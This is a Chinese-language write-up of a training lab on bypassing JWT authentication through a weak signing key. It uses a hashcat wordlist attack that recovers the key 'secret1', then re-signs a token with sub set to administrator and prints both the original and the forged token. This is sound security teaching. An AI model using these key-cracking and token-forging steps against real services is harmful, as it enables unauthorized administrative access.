> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).
# 使用弱密钥绕过 JWT 认证
### 通过弱签名密钥绕过 JWT 身份验证
**实验说明**
本实验使用基于 JWT 的会话机制。/ 用于 **签名和验证令牌的密钥强度极低**，从而使 **可轻松破解** ，方法是使用常见密钥列表。
目标：
* 找出服务器使用的密钥。\*使用该密钥伪造一个有效的 JWT，以访问 `/admin` 管理面板。
* 删除用户 **carlos**.
提供的凭据：/ `wiener:peter`
\*\* 已恢复的初始 JWT\*\*
{% code overflow="wrap" %}
```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```
{% endcode %}
可以观察到使用的算法是 **HS256**，因此是 **对称算法** ，基于共享密钥。
**暴力破解密钥**
我们使用常见的 JWT 密钥列表：
```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```
然后使用 **hashcat**:
```bash
hashcat -a 0 jwt jwt.secrets.list
```
结果：
* 找到的密钥： **`secret1`**
**用于签名的密钥准备**
该 **JWT 编辑器** 扩展需要 Base64 格式的密钥。
密钥编码：
```bash
c2VjcmV0MQ==
```
在 JWT Editor 中创建对称密钥：
```json
{
"kty": "oct",
"kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
"k": "c2VjcmV0MQ=="
}
```
密钥 ID（`kid`）随后生成并用于对令牌进行签名。
**JWT 修改**
* 拦截包含 JWT 的请求。
* 修改 `sub` 字段：
* `wiener` → `administrator`
使用找到的密钥重新签名令牌
最终伪造的 JWT：
```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```
**结果**
* 服务器接受使用弱密钥签名的 JWT。
* 成功访问 `/admin` 面板。
* 该用户被识别为 \*\*管理员\*\*。
* 移除该用户后，实验即通过验证 **carlos**.
---
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